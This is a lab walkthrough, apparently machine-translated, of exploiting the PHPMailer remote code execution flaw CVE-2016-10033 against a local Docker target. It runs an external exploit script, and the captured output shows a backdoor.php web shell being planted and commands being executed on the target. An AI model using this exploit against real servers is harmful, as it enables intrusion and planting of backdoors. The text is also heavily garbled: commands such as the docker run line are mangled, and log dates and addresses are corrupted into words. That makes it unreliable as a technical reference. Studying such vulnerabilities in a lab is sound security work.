Phpmailer < 5.2.18 remote Code execution Vulnerability (CVE-2016-10033)

Phpmailer < 5.2.18 Remote Code execution

This article will briefly demonstrate the use of the Phpmailer Remote Code Execution Vulnerability (CVE-2016-10033), using a Docker environment that someone else has already built, see the reference link.

The lab environment is on Ubuntu 16.04.3, using Docker mirroring.

Installing and using Docker images

To install Docker on Ubuntu First, you can install it using the following command:

[Email protected]:~#apt-Get Install docker.io "Installing docker" [email protected]:~#Docker run--rm-it-p 8080: vulnerables/cve--10033 AH00558:apache2:Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the'ServerName'directive globally to suppress this message==>/var/log/apache2/access.log <====>/var/log/apache2/error.log <==[Thu Nov the  the: One:47.098917  .] [Mpm_prefork:notice] [PID8] ah00163:apache/2.4.Ten(Debian) Configured--resuming normal Operations[thu Nov the  the: One:47.101902  .] [Core:notice] [PID8] Ah00094:command Line:'/usr/sbin/apache2-f/etc/apache2/apache2.conf'==>/var/log/apache2/other_vhosts_access.log <==

After you install Docker, you need to download the appropriate target drone environment (pull), the first time you run the above command will download the Docker image, and then it will run as above, indicating that the Docker image is running.

Check the IP address:

[Email protected]:~#ifconfig|grepinet inet Addr: 172.17. 0.1 Bcast:0.0.0.0Mask:255.255.0.0inet6 addr:fe80:: the: 4aff:fe88:49e5/ -scope:link inet Addr: 192.168. 0.8 Bcast:192.168.0.255Mask:255.255.255.0Inet6 Addr:fe80::a7c0:e1f7:2118: 7e6a/ -scope:link inet Addr:127.0.0.1Mask:255.0.0.0Inet6 Addr: ::1/ -scope:host Inet6 addr:fe80::98a9:5bff:fe1f:b1c9/ -Scope:link

Here 192.168.0.8 is our Ubuntu IP address, 172.17.0.1 is the internal address of the Docker image, by visiting the http://192.168.0.8:8080/, we can see the building of the vulnerable environment:

Vulnerability Testing

Next we use Kali to test, download exploit-cve-2016-10033 in exploit.sh to local, run the following command to test:

[Email protected]:~/penetest/cve- .-10033#./exploit. SH 192.168. 0.8:8080 [+] Cve- .-10033exploit by opsxcq[+] Exploiting192.168.0.8:8080[+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php[+] CheckingifThe backdoor is created on target system[+] backdoor.php found on remote system[+] RunningWhoAmIwww-Dataremoteshell>ls[+] Runningls vulnerableRemoteshell>pwd[+] Runningpwd/www

In fact, not all command runs have echoes, such as the command to view the IP address Ifconfig will not see the output. For more information, please refer to the link below.

References

opsxcq/exploit-cve-2016-10033

Phpmailer < 5.2.18 remote Code execution Vulnerability (CVE-2016-10033)